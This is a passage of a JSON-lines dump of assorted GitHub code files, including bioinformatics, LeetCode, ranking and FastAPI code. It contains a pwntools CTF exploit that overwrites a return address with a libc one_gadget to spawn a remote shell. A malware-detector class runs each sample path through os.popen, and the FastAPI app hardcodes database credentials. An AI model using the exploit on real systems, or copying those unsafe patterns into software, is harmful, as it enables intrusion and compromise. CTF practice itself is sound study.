(%s) Does Not Indicate Paired Data\" % seqB.id\n # Are Sequence Lengths & Quality Lengths the Same?\n assert (len(seqA.seq) == len(seqA.letter_annotations[\"phred_quality\"])), \"Error: Sequence & Quality Lengths Do Not Match: (%s)\" % seqA.id\n assert (len(seqB.seq) == len(seqB.letter_annotations[\"phred_quality\"])), \"Error: Sequence & Quality Lengths Do Not Match: (%s)\" % seqB.id\n \n else:\n\n with open(inputfile, \"r\") as handle:\n records = SeqIO.parse(handle, format)\n for record in records:\n seqA = record\n seqB = next(records)\n # Are Reads Paired-End?\n assert (seqA.id[-2:] == \"/1\") or (seqA.id[-2:] == \"/2\"), \"Error: Sequence ID (%s) Does Not Indicate Paired Data\" % seqA.id\n assert (seqB.id[-2:] == \"/1\") or (seqB.id[-2:] == \"/2\"), \"Error: Sequence ID (%s) Does Not Indicate Paired Data\" % seqB.id\n # Are Paired IDs The Same?\n if seqA.id[0:-2] != seqB.id[0:-2]:\n # Is Read /1 In Fact the Read /1? If Not, 1 is in Fact 2 & Missing it's /1 Pair\n assert (seqA.id[-2:] == \"/1\"), \"Orphan Read Found (Missing /1 of Pair): %s\" % seqA.id\n # Is Read /2 In Fact the Read /2? If Not, 2 is in Fact next 1, & 1 is Missing it's /2 Pair\n assert (seqB.id[-2:] == \"/2\"), \"Orphan Read Found (Missing /2 of Pair): %s\" % seqA.id\n # Are Sequence Lengths & Quality Lengths the Same?\n assert (len(seqA.seq) == len(seqA.letter_annotations[\"phred_quality\"])), \"Error: Sequence & Quality Lengths Do Not Match: (%s)\" % seqA.id\n assert (len(seqB.seq) == len(seqB.letter_annotations[\"phred_quality\"])), \"Error: Sequence & Quality Lengths Do Not Match: (%s)\" % seqB.id\n \n else:\n\n # Strict, Single\n print(\"\\nValidating That Single-End Sequence & Quality Scores Are of The Same Length\")\n with open(inputfile, \"r\") as handle:\n records = SeqIO.parse(handle, format)\n for record in records:\n # Are Sequence Lengths & Quality Lengths the Same?\n assert (len(record.seq) == len(record.letter_annotations[\"phred_quality\"])), \"Error: Sequence & Quality Lengths Do Not Match: (%s)\" % record.id\n\n print(\"\\nDone\")\n\nelse:\n\n pass\n","repo_name":"greenstick/gatk-pipeliner","sub_path":"utils/validate-fastq.py","file_name":"validate-fastq.py","file_ext":"py","file_size_in_byte":10112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28322018167","text":"# Created by Bob at 2023/09/07 15:02\n# leetgo: dev\n# https://leetcode.com/problems/maximum-subarray/\n\nfrom typing import *\nfrom leetgo_py import *\n\n# @lc code=begin\n\n\nclass Solution:\n def maxSubArray(self, nums: List[int]) -> int:\n maxSum = int(-10e4)\n prevSum = 0\n\n for num in nums:\n if prevSum + num > num:\n prevSum += num\n else:\n prevSum = num\n\n if prevSum > maxSum:\n maxSum = prevSum\n\n return maxSum\n\n\n# @lc code=end\n\nif __name__ == \"__main__\":\n nums: List[int] = deserialize(\"List[int]\", read_line())\n ans = Solution().maxSubArray(nums)\n\n print(\"\\noutput:\", serialize(ans))\n","repo_name":"princebillygk/dsa-and-leetcode","sub_path":"python3/0053.maximum-subarray/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30134644894","text":"import os\nimport sys\nimport pickle\nimport re\nimport numpy\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.feature_extraction import FeatureHasher\n\nclass MachineLearningDetection():\n\n def __init__(self) -> None:\n self\n\n def get_string_features(self, path,hasher):\n # extract strings from binary file using regular expressions\n chars = r\" -~\"\n min_length = 5\n string_regexp = '[%s]{%d,}' % (chars, min_length)\n data = os.popen(f\"{path}\").read()\n #data = file_object.read()\n pattern = re.compile(string_regexp)\n strings = pattern.findall(data)\n string_features = {}\n for string in strings:\n string_features[string] = 1\n\n # hash the features using the hashing trick\n hashed_features = hasher.transform([string_features])\n\n # do some data munging to get the feature array\n hashed_features = hashed_features.todense()\n hashed_features = numpy.asarray(hashed_features)\n hashed_features = hashed_features[0]\n\n # return hashed string features\n print (\"Extracted {0} strings from {1}\".format(len(string_features),path))\n return hashed_features\n\n def scan_file(self, path):\n # scan a file to determine if it is malicious or benign\n if not os.path.exists(\"saved_detector.pkl\"):\n print (\"It appears you haven't trained a detector yet! Do this before scanning files.\")\n sys.exit(1)\n with open(\"saved_detector.pkl\") as saved_detector:\n classifier, hasher = pickle.load(saved_detector)\n features = self.get_string_features(path,hasher)\n result_proba = classifier.predict_proba([features])[:,1]\n # if the user specifies malware_paths and benignware_paths, train a detector\n if result_proba > 0.5:\n print (f\"It appears this file is malicious!{result_proba}\")\n else:\n print (f\"It appears this file is benign{result_proba}\")\n\n def train_detector(self, benign_path,malicious_path,hasher):\n # train the detector on the specified training data\n def get_training_paths(directory):\n targets = []\n for path in os.listdir(directory):\n targets.append(os.path.join(directory,path))\n return targets\n malicious_paths = get_training_paths(malicious_path)\n benign_paths = get_training_paths(benign_path)\n X = [self.get_string_features(path,hasher) for path in malicious_paths + benign_paths]\n y = [1 for i in range(len(malicious_paths))] + [0 for i in range(len(benign_paths))]\n classifier = RandomForestClassifier(64)\n classifier.fit(X,y)\n pickle.dump((classifier,hasher),open(\"saved_detector.pkl\",\"w+\"))\n\n def cv_evaluate(self, X,y,hasher):\n # use cross-validation to evaluate our model\n import random\n from sklearn import metrics\n from matplotlib import pyplot\n from sklearn.model_selection import KFold\n X, y = numpy.array(X), numpy.array(y)\n fold_counter = 0\n for train, test in KFold(len(X),2,shuffle=True):\n training_X, training_y = X[train], y[train]\n test_X, test_y = X[test], y[test]\n classifier = RandomForestClassifier(64)\n classifier.fit(training_X,training_y)\n scores = classifier.predict_proba(test_X)[:,-1]\n fpr, tpr, thresholds = metrics.roc_curve(test_y, scores)\n #pyplot.semilogx(fpr,tpr,label=\"Fold number {0}\".format(fold_counter))\n pyplot.semilogx(fpr,tpr,label=\"ROC curve\".format(fold_counter))\n fold_counter += 1\n break\n pyplot.xlabel(\"detector false positive rate\")\n pyplot.ylabel(\"detector true positive rate\")\n pyplot.title(\"Detector ROC curve\")\n #pyplot.title(\"detector cross-validation ROC curves\")\n pyplot.legend()\n pyplot.grid()\n pyplot.show()\n\n def get_training_data(self, benign_path,malicious_path,hasher):\n def get_training_paths(directory):\n targets = []\n for path in os.listdir(directory):\n targets.append(os.path.join(directory,path))\n return targets\n malicious_paths = get_training_paths(malicious_path)\n benign_paths = get_training_paths(benign_path)\n X = [self.get_string_features(path,hasher) for path in malicious_paths + benign_paths]\n y = [1 for i in range(len(malicious_paths))] + [0 for i in range(len(benign_paths))]\n return X, y\n","repo_name":"aleyhdar/-BSM497","sub_path":"ch7/machine_learning_detection.py","file_name":"machine_learning_detection.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"73819469532","text":"def createFile(name):\n try:\n with open(name, 'w', encoding='utf-8') as f:\n f.write('123')\n except FileNotFoundError as e:\n print(e)\n print(e.args)\n print(e.errno)\n name = name.replace('/', '')\n with open(name, 'w', encoding='utf-8') as f:\n f.write('123')\n except OSError as e:\n print(e)\n name = 'test123'\n with open(name, 'w', encoding='utf-8') as f:\n f.write('123')\n except:\n print('Unknown Exception!')\n\ncreateFile('test/test1.txt')\ncreateFile('test?test')","repo_name":"uuboyscy/eb102-python","sub_path":"13_exception1.py","file_name":"13_exception1.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3491429785","text":"from pwn import *\n\n# p = process(\"./oneshot\")\n# nc host1.dreamhack.games 23506\np = remote(\"host1.dreamhack.games\", 23506)\n\nlibc = ELF(\"./libc.so.6\")\n# libc = ELF(\"/lib/x86_64-linux-gnu/libc-2.23.so\")\n\n# one_offset = [0x45226, 0x4527a, 0xf03a4, 0xf1247] # /lib/x86_64-linux-gnu/libc-2.23.so\none_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]\n\n# pie_base = p.libs()['/home/leeminjea/Desktop/sf/dreamhack/oneshot/oneshot']\n\np.recvuntil(\"stdout: \")\n\nstdout = int(p.recv(14), 16)\nlibc.address = stdout - libc.symbols[\"_IO_2_1_stdout_\"] #+ pie_base\none_gadget = libc.address + one_offset[0]\n\nlog.info(\"stdout: \" + hex(stdout))\nlog.info(\"libc.address: \" + hex(libc.address))\n\npay = b\"\"\npay += b\"A\" * (0x20 - 0x8)\npay += p64(0)\npay += b\"B\" * 0x8\npay += p64(one_gadget)\n# pay += b\"X\" * 0x8\n\ninput()\n\np.sendafter(\"MSG: \", pay)\n\n\np.interactive()","repo_name":"MinjeaLee/s-_pwn_sf","sub_path":"dreamhack/oneshot/ex_oneshot.py","file_name":"ex_oneshot.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"14578391215","text":"from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\n\nwelcome_text = \"Привет! Я - простой бот, чтобы узнать погоду сейчас или прогноз погоды.\\n\" \\\n \"Для этого используйте команду /weather.\\n\" \\\n \"<>\\n\" \\\n \"Hello! I am a simple bot to get weather forecast or current weather.\\n\" \\\n \"To get weather forecast or find out current weather in your location, use the /weather command.\"\nunfinished_registration = \"Пожалуйста, выберите язык\\n\" \\\n \"<>\\n\" \\\n \"Please, set language\"\n\nlang_kb = InlineKeyboardMarkup()\nlang_kb.add(InlineKeyboardButton(\"Русский\", callback_data=\"ru\"))\nlang_kb.add(InlineKeyboardButton(\"English\", callback_data=\"en\"))\n","repo_name":"Dannypa/WeatherBot","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41447450836","text":"def main():\n print(\"Rankings module\")\n\nfrom datetime import timedelta\nimport numpy as np\n\n# Winners win ranking functions:\ndef get_winners_win_dict(matches, year = None):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary is a match.\n Assumes these matches come ordered by date.\n Assumes year is an integer that defaults to None, it specifies whether\n the number of matches won should be computed throughout the whole dataset\n or for a particular year.\n \"\"\"\n winners_dict = {}\n for match in matches:\n # Check for specific years.\n if year != None:\n # Assumes matches are chronologically ordered.\n # Matches before our year are skipped\n if match[\"start_date\"].date().year < year:\n continue\n # We break the loop after we have finished with the matches of a year.\n elif match[\"start_date\"].date().year > year:\n break\n\n # And now we include the victories of the players.\n if match[\"player_1\"] not in winners_dict:\n winners_dict[match[\"player_1\"]] = 0\n if match[\"player_2\"] not in winners_dict:\n winners_dict[match[\"player_2\"]] = 0\n if match[\"player_1\"] == match[\"winner\"]:\n winners_dict[match[\"player_1\"]] += 1\n else:\n winners_dict[match[\"player_2\"]] += 1\n\n return winners_dict\n\ndef winners_win_ranking(matches, year = None):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary is a match.\n Assumes year is an integer that defaults to None, it specifies whether\n the number of matches won should be computed throughout the whole dataset\n or for a particular year.\n Returns a list of lists [[player, number of matches won, ranking]]\n ordered by ranking (which is defined as the reverse of matches won, compared\n between players).\n \"\"\"\n if year != None:\n if year < 2007 or year > 2021:\n raise ValueError(\"There is no data availability before 2007 or after 2021.\")\n\n ranking = 0\n winners_list = []\n winners_dict = get_winners_win_dict(matches, year)\n # Source for using winners_dict.get:\n # https://stackoverflow.com/a/3177911/15459665\n for winner in sorted(winners_dict, key = winners_dict.get, reverse = True):\n ranking += 1\n winners_list.append([winner, winners_dict[winner], ranking])\n\n return winners_list\n\n\n\n# Winners don\"t lose ranking functions:\ndef get_dict_tournaments_rounds(matches):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary is a match.\n Returns a dictionary of dictionaries, where we can retrieve the round number\n of a round in a certain tournament.\n\n E.g., {\"US Open\":{2007: {\"First Round\": 1, ..., \"Final\": 5},\n 2008: {\"Third Round\": 3, \"Fourth Round\": 4, ..., \"Final\": 6]}}\n \"\"\"\n tournaments_dict = {}\n n_round = 0\n for match in matches:\n if match[\"tournament\"] in tournaments_dict:\n if match[\"start_date\"] in tournaments_dict[match[\"tournament\"]]:\n if match[\"round\"] in \\\n tournaments_dict[match[\"tournament\"]][match[\"start_date\"]]:\n continue\n\n # Tournament in dictionary, but in a different year.\n else:\n tournaments_dict[match[\"tournament\"]][match[\"start_date\"]] = {}\n n_round = 0\n\n # New tournament in the dataset. In both cases (new year and new tournament)\n # we reset n_round.\n elif match[\"tournament\"] not in tournaments_dict:\n tournaments_dict[match[\"tournament\"]] = {}\n tournaments_dict[match[\"tournament\"]][match[\"start_date\"]] = {}\n n_round = 0\n\n\n # Handle the case of splitted tournaments in the following if-statements:\n if n_round == 0 and match[\"round\"] == \"Second Round\":\n n_round += 2\n\n # Set the final at the same level of the Third Place match if there is one.\n # (Here we are assuming that the matches are chronologically ordered)\n elif (match[\"round\"] == \"Final\"\n and \"Third Place\" in tournaments_dict[match[\"tournament\"]][match[\"start_date\"]]):\n n_round = tournaments_dict[match[\"tournament\"]][match[\"start_date\"]][\"Third Place\"]\n\n # In any other circumstance, the number of rounds increases by one.\n else:\n n_round += 1\n\n\n tournaments_dict[match[\"tournament\"]][match[\"start_date\"]][match[\"round\"]] = n_round\n\n return tournaments_dict\n\ndef get_winners_dont_lose_dict(matches, year = None):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary is a match.\n Assumes year is an integer that defaults to None, it specifies whether\n the number of matches won should be computed throughout the whole dataset\n or for a particular year.\n \"\"\"\n winners_dict = {}\n tournaments_dict = get_dict_tournaments_rounds(matches)\n for match in matches:\n # Same procedure as in get_winners_win_dict to check for the desired year\n if year != None:\n if match[\"start_date\"].date().year < year:\n continue\n elif match[\"start_date\"].date().year > year:\n break\n\n # Initialize the player in the dict\n if match[\"player_1\"] not in winners_dict:\n winners_dict[match[\"player_1\"]] = 0\n if match[\"player_2\"] not in winners_dict:\n winners_dict[match[\"player_2\"]] = 0\n\n # Retrieve the match round.\n r = tournaments_dict[match[\"tournament\"]][match[\"start_date\"]][match[\"round\"]]\n\n # Add or substract points depending on r\n if match[\"player_1\"] == match[\"winner\"]:\n winners_dict[match[\"player_1\"]] += 1 * r\n winners_dict[match[\"player_2\"]] -= 1 / r\n else:\n winners_dict[match[\"player_1\"]] -= 1 / r\n winners_dict[match[\"player_2\"]] += 1 * r\n\n return winners_dict\n\ndef winners_dont_lose_ranking(matches, year = None):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary is a match.\n Assumes year is an integer that defaults to None, it specifies whether\n the number of matches won should be computed throughout the whole dataset\n or for a particular year.\n Returns a list of lists (player, score and ranking)\n ordered by ranking (which is defined as the reverse of score, compared\n between players). The objective of using a list is to preserve order.\n \"\"\"\n if year != None:\n if year < 2007 or year > 2021:\n raise ValueError(\"There is no data availability before 2007 or after 2021.\")\n\n ranking = 0\n winners_list = []\n winners_dict = get_winners_dont_lose_dict(matches, year)\n for winner in sorted(winners_dict, key = winners_dict.get, reverse = True):\n ranking += 1\n winners_list.append([winner, winners_dict[winner], ranking])\n\n return winners_list\n\n\n# Winners beat other winners rankings\ndef get_wbw_dict(matches, year = None, weeks = None, start_date = None):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary represents\n a match (ordered by date). Assumes year is an integer that shows the year in which the dictionary\n should be calculated; if set to None, it gathers information for all the years.\n Weeks (integer) and start date (datetime) are used to calculate the rankings for\n all matches ended in the previous n weeks to a certain date.\n Year should not be used together with weeks and start_date.\n\n This function returns a dictionary of players, showing the number of times\n they lost \"n_losses\" and a dictionary called \"lost_to\" that represents\n the players to whom they lost and how many times this happened.\n \"\"\"\n if start_date != None and weeks != None and year != None:\n raise ValueError(\"Year parameter cannot be specified together with weeks and start_date.\")\n if weeks != None and weeks <= 0:\n raise ValueError(\"The number of previous weeks to take into account must be positive.\")\n losers_dict = {}\n if start_date != None and weeks != None:\n first_week = start_date - timedelta(weeks = weeks)\n for match in matches:\n # We use the years procedure to trim the matches.\n # Same counting as in get_winners_win_dict\n if weeks == None and start_date == None:\n if year != None:\n if match[\"start_date\"].date().year < year:\n continue\n elif match[\"start_date\"].date().year > year:\n break\n\n # Or the weeks procedure:\n # Since tournaments and matches are ordered,\n # it breaks the loop after surpassing the inputted\n # start date (in other words, includes tournaments ENDED\n # in the interval of the 52 weeks previous to the current start date).\n else:\n if match[\"end_date\"] < first_week:\n continue\n elif match[\"end_date\"] > start_date:\n break\n\n # If the players do not appear in the dictionary yet, we include them.\n if match[\"player_1\"] not in losers_dict:\n losers_dict[match[\"player_1\"]] = {}\n losers_dict[match[\"player_1\"]][\"n_losses\"] = 0\n losers_dict[match[\"player_1\"]][\"lost_to\"] = {}\n if match[\"player_2\"] not in losers_dict:\n losers_dict[match[\"player_2\"]] = {}\n losers_dict[match[\"player_2\"]][\"n_losses\"] = 0\n losers_dict[match[\"player_2\"]][\"lost_to\"] = {}\n\n # The loser adds one loss, and we create a dictionary with the players to\n # whom she has lost and the number of times this has happened.\n if match[\"player_1\"] != match[\"winner\"]:\n losers_dict[match[\"player_1\"]][\"n_losses\"] += 1\n if match[\"player_2\"] not in losers_dict[match[\"player_1\"]][\"lost_to\"]:\n losers_dict[match[\"player_1\"]][\"lost_to\"][match[\"player_2\"]] = 1\n else:\n losers_dict[match[\"player_1\"]][\"lost_to\"][match[\"player_2\"]] += 1\n else:\n losers_dict[match[\"player_2\"]][\"n_losses\"] += 1\n if match[\"player_1\"] not in losers_dict[match[\"player_2\"]][\"lost_to\"]:\n losers_dict[match[\"player_2\"]][\"lost_to\"][match[\"player_1\"]] = 1\n else:\n losers_dict[match[\"player_2\"]][\"lost_to\"][match[\"player_1\"]] += 1\n\n return losers_dict\n\n\ndef wbw_ranking(matches, year = None, weeks = None, start_date = None,\n epsilon = 1e-10, max_iterations = 150):\n \"\"\"\n Assumes matches is a list of dictionaries, where each dictionary is a match.\n Year is an integer that shows the year for which the ranking should be calculated.\n Weeks (integer) and start date (datetime) are used to calculate the rankings for\n all matches ended in the previous n weeks to a certain date.\n Year should not be used together with weeks and start_date.\n\n Epsilon is a float used to determine the convergence criterion of the scores\n in the last algorithm. It shows the average deviation from the scores of each player\n between the previous iteration of the wbw score distribution and the current one.\n Hence, if the algorithm takes too much time or does not converge, the user can raise it.\n On the other hand, max_iterations shows the number of maximum iterations that\n the algorithm should run; it works as a stopping rule in case there is no\n convergence.\n\n This algorithm implements the WbW (winners beat other winners) ranking.\n It returns two objects:\n The first one is a list of lists (player, score and ranking)\n ordered by ranking (which is defined as the reverse of score, compared\n between players). The objective of using a list is to preserve order.\n The second one is a dictionary of the players, where the values are a list of\n score-ranking pairs. This is a more efficient data structure for comparison\n purposes, whereas the first one is better suited for easily finding the top n players.\n \"\"\"\n if weeks == None or start_date == None:\n losers_dict = get_wbw_dict(matches, year = year)\n else:\n losers_dict = get_wbw_dict(matches, weeks = weeks, start_date = start_date)\n n_players = len(losers_dict)\n init_score = 1 / n_players\n\n # Now we add the initial score of the players, calculate the share of each,\n # and distribute their shares to the players to whom they have lost.\n for loser in losers_dict:\n if \"score\" not in losers_dict[loser]:\n losers_dict[loser][\"score\"] = 0\n\n try:\n losers_dict[loser][\"share\"] = (init_score /\n losers_dict[loser][\"n_losses\"])\n\n # If n_losses = 0, we handle the DivisionZeroError to avoid a function crash.\n except ZeroDivisionError:\n losers_dict[loser][\"score\"] += init_score\n\n # Players who lost at least once give the corresponding shares to other players:\n if losers_dict[loser][\"n_losses\"] != 0:\n # For each player who beat her\n for player in losers_dict[loser][\"lost_to\"]:\n if \"score\" not in losers_dict[player]:\n losers_dict[player][\"score\"] = 0\n # The player adds the loser\"s share * times the loser lost to the player\n losers_dict[player][\"score\"] += (losers_dict[loser][\"share\"] *\n losers_dict[loser][\"lost_to\"][player])\n\n # Finally, we rescale the score.\n for loser in losers_dict:\n losers_dict[loser][\"score\"] = ((losers_dict[loser][\"score\"] * 0.85) +\n (0.15 / n_players))\n\n # We repeat the previous procedure until there is minimum variation among the\n # scores of the players or a maximum level of iterations is reached.\n sd = np.inf\n n_iterations = 1\n while sd > epsilon and n_iterations < max_iterations:\n for loser in losers_dict:\n if \"new_score\" not in losers_dict[loser]:\n losers_dict[loser][\"new_score\"] = 0\n\n try:\n losers_dict[loser][\"share\"] = (losers_dict[loser][\"score\"] /\n losers_dict[loser][\"n_losses\"])\n except ZeroDivisionError:\n losers_dict[loser][\"new_score\"] += losers_dict[loser][\"score\"]\n\n # Players who lost at least once give the corresponding shares to other players:\n if losers_dict[loser][\"n_losses\"] != 0:\n for player in losers_dict[loser][\"lost_to\"]:\n if \"new_score\" not in losers_dict[player]:\n losers_dict[player][\"new_score\"] = 0\n losers_dict[player][\"new_score\"] += (losers_dict[loser][\"share\"] *\n losers_dict[loser][\"lost_to\"][player])\n\n # Finally, we rescale the score.\n # Here we calculate the standard deviation between\n # the previous and the current scores.\n sum_squared_differences_between_scores = 0\n ranking_dict = {}\n for loser in losers_dict:\n losers_dict[loser][\"new_score\"] = ((losers_dict[loser][\"new_score\"] * 0.85) +\n (0.15 / n_players))\n\n sum_squared_differences_between_scores += ((losers_dict[loser][\"new_score\"] -\n losers_dict[loser][\"score\"]) ** 2)\n\n # We fix the previous score for the following iteration.\n losers_dict[loser][\"score\"] = losers_dict[loser][\"new_score\"]\n losers_dict[loser][\"new_score\"] = 0\n\n # We populate the ranking_dict that we will use later for ordering in\n # case tihs is the last iteration. The value of each key is a list,\n # the second element will be the ranking position.\n ranking_dict[loser] = [losers_dict[loser][\"score\"]]\n\n sd = (sum_squared_differences_between_scores / n_players) ** (1 / 2)\n n_iterations += 1\n\n\n # We create a list for the printing procedure, and a dictionary if we want\n # to use it for comparing rankings. (It has a higher space complexity if we create both,\n # but a lower time complexity for future tasks).\n ranking = 0\n ranking_list = []\n for loser in sorted(ranking_dict, key = ranking_dict.get, reverse = True):\n ranking += 1\n ranking_list.append([loser, ranking_dict[loser][0], ranking])\n ranking_dict[loser].append(ranking)\n\n return ranking_list, ranking_dict\n\n\ndef print_top_n_ranking(matches, ranking_function, top_n_players, year = None,\n epsilon = 1e-10, max_iterations = 150):\n \"\"\"\n Assumes matches is a list of dictionaries where each match is a dictionary.\n Assumes n_players is an integer with the number of top players (from the beginning),\n according to the winners win ranking of a certain year, to print.\n Ranking_function can take three values:\n \"winners_win_ranking\", \"winners_dont_lose_ranking\" and \"wbw_ranking\".\n Epsilon and max_iterations are arguments predefined for the wbw_ranking function,\n lower epsilon and higher max_iterations are stronger criteria for convergence.\n For further details, please refer to the docstring of the wbw_ranking function.\n Prints the top n_players\n \"\"\"\n if ranking_function not in [winners_win_ranking,\n winners_dont_lose_ranking,\n wbw_ranking]:\n raise TypeError(\"A ranking function as specified in the docstring should be inputted.\")\n\n elif ranking_function == winners_win_ranking:\n for winner in ranking_function(matches, year)[:top_n_players]:\n if year != None:\n print(\"According to the winners win ranking,\",\n winner[0], \"was the player ranked\", winner[2],\n \"in\", year, \"with\", winner[1], \"games won.\")\n else:\n print(\"According to the winners win ranking,\",\n winner[0], \"was the player ranked\", winner[2],\n \"in the period 2007-2021, with\", winner[1], \"games won.\")\n\n elif ranking_function == winners_dont_lose_ranking:\n for winner in ranking_function(matches, year)[:top_n_players]:\n if year != None:\n print(\"According to the winners don't lose ranking,\",\n winner[0], \"was the player ranked\", winner[2],\n \"in\", year, \"with a score of\", str(winner[1]) + \".\")\n else:\n print(\"According to the winners don't lose ranking,\",\n winner[0], \"was the player ranked\", winner[2],\n \"in the period 2007-2021, with a score of\", str(winner[1]) + \".\")\n\n elif ranking_function == wbw_ranking:\n for winner in ranking_function(matches, year = year, epsilon = epsilon,\n max_iterations = max_iterations)[0][:top_n_players]:\n if year != None:\n print(\"According to the WbW ranking,\",\n winner[0], \"was the player ranked\", winner[2],\n \"in\", year, \"with a score of\", str(winner[1]) + \".\")\n else:\n print(\"According to the WbW ranking,\",\n winner[0], \"was the player ranked\", winner[2],\n \"in the period 2007-2021, with a score of\", str(winner[1]) + \".\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"alberto-agudo/WTA_tennis_software","sub_path":"rankings.py","file_name":"rankings.py","file_ext":"py","file_size_in_byte":19598,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29922385067","text":"\ndef ascending(txt):\n factors = lambda x: [f for f in range(1,x) if not x%f]\n for i in factors(len(txt)):\n nums = [int(txt[s:s+i]) for s in range(0,len(txt),i)]\n print(sum(range(1,len(nums))))\n if sum(range(1,len(nums)))==(sum(nums) - (nums[0]*len(nums))):\n return True\n print(nums)\n return False\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"9iLhKgqZn5exBrmWm_12.py","file_name":"9iLhKgqZn5exBrmWm_12.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2306202252","text":"from setuptools import setup, find_packages\n\nimport quango.version\n\nscripts = ['bin/quango']\n\nsetup(\n name = 'quango',\n version = quango.version.get_version(),\n license = 'GPL',\n author = 'Georg Brandl',\n author_email = 'g.brandl@fz-juelich.de',\n description = 'Nice generic user interface for Tango devices',\n packages = find_packages(),\n package_data = {'quango': ['RELEASE-VERSION']},\n scripts = scripts,\n classifiers = [\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Intended Audience :: Science/Research',\n 'Natural Language :: English',\n 'License :: OSI Approved :: GPL License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Scientific/Engineering :: Human Machine Interfaces',\n 'Topic :: Scientific/Engineering :: Physics',\n ],\n)\n","repo_name":"alenz33/quango","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37269455637","text":"from fastapi import FastAPI\nfrom fastapi.responses import JSONResponse\nimport pyodbc\nimport json\nfrom typing import List\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom pydantic import BaseModel\n\napp = FastAPI()\n\norigins = [\n \"*\"\n]\n\napp.add_middleware(\n CORSMiddleware,\n allow_origins=origins,\n allow_credentials=True,\n allow_methods=[\"*\"],\n allow_headers=[\"*\"],\n)\n\n\nclass INotes(BaseModel):\n id: int\n noteName: str\n todos: list\n dateCreated: str\n lastUpdated: str\n openList: bool = True\n\n\ncnn = pyodbc.connect(\n 'DRIVER = {SQL Server};DSN=DSQL;SERVER=DESKTOP-TS5ILJ2\\\\SQLEXPRESS;DATABASE=Todolist;UID=dorJob;PWD=1234;')\ncursor = cnn.cursor()\n\n\n@app.get(\"/note\")\ndef ReadData():\n jsonFinished = []\n jsonFile = {}\n todosList = []\n notesList = []\n cursor.execute('SELECT id FROM Todolist.dbo.INotes')\n for rows in cursor:\n notesList.append(rows)\n for note in notesList:\n cursor.execute(\n 'SELECT * FROM Todolist.dbo.ITodo WHERE todoId=any(SELECT idTodo FROM Todolist.dbo.NoteTodo where idNote=' + str(note.id) + ')')\n for row in cursor:\n todo = {}\n if (row.completed == 1):\n flag = True\n else:\n flag = False\n todo = {\n \"todoId\": int(row.todoId),\n \"title\": str(row.title),\n \"completed\": bool(flag)}\n todosList.append(todo)\n cursor.execute(\n 'SELECT * FROM Todolist.dbo.INotes WHERE id = ?', str(note.id))\n nt = cursor.fetchone()\n if (nt.openList == 1):\n flag = True\n else:\n flag = False\n jsonFile = {\n \"id\": int(nt.id),\n \"noteName\": str(nt.noteName),\n \"todos\": todosList,\n \"dateCreated\": nt.dateCreated,\n \"lastUpdated\": nt.lastUpdated,\n \"openList\": bool(flag)}\n jsonFinished.append(jsonFile)\n todosList = []\n ToServer = json.dumps(jsonFinished)\n return JSONResponse(content=ToServer)\n\n\n@app.post(\"/note\")\nasync def create_Note(note: INotes):\n cursor.execute(\n \"INSERT INTO Todolist.dbo.INotes( noteName, dateCreated, lastUpdated, openList) VALUES (?,?,?,?)\", note.noteName, note.dateCreated, note.lastUpdated, note.openList)\n cnn.commit()\n\n\n@app.delete(\"/note/{id}\")\nasync def DeleteNoteFromDataBase(id: int):\n print(\"dcdc\")\n cursor.execute(\n \"SELECT idTodo FROM Todolist.dbo.NoteTodo WHERE idNote =?\", id)\n todoIds = cursor.fetchall()\n cursor.execute(\n \"DELETE FROM Todolist.dbo.NoteTodo WHERE idNote=?\", id)\n cnn.commit()\n for x in todoIds:\n cursor.execute(\n \"DELETE FROM Todolist.dbo.ITodo WHERE todoId=?\", x.idTodo)\n cnn.commit()\n cursor.execute(\"DELETE FROM Todolist.dbo.INotes WHERE id=?\", id)\n cnn.commit()\n print(cursor)\n\n\n@app.post(\"/note/addNote\")\nasync def updateDataBase(note: INotes):\n print(\"updateDataBase\")\n todos = note.todos\n cursor.execute(\n \"INSERT INTO Todolist.dbo.ITodo(title,completed) VALUES (?,?)\", todos[-1][\"title\"], todos[-1][\"completed\"])\n cnn.commit()\n cursor.execute(\n \"SELECT Max(todoId) FROM Todolist.dbo.ITodo\")\n max_id = cursor.fetchone()[0]\n print(max_id)\n print(note.id)\n cursor.execute(\n \"INSERT INTO Todolist.dbo.NoteTodo(idNote,idTodo) VALUES (?,?)\", note.id, max_id)\n cnn.commit()\n\n\n@app.post(\"/note/update\")\nasync def updateComp(note: 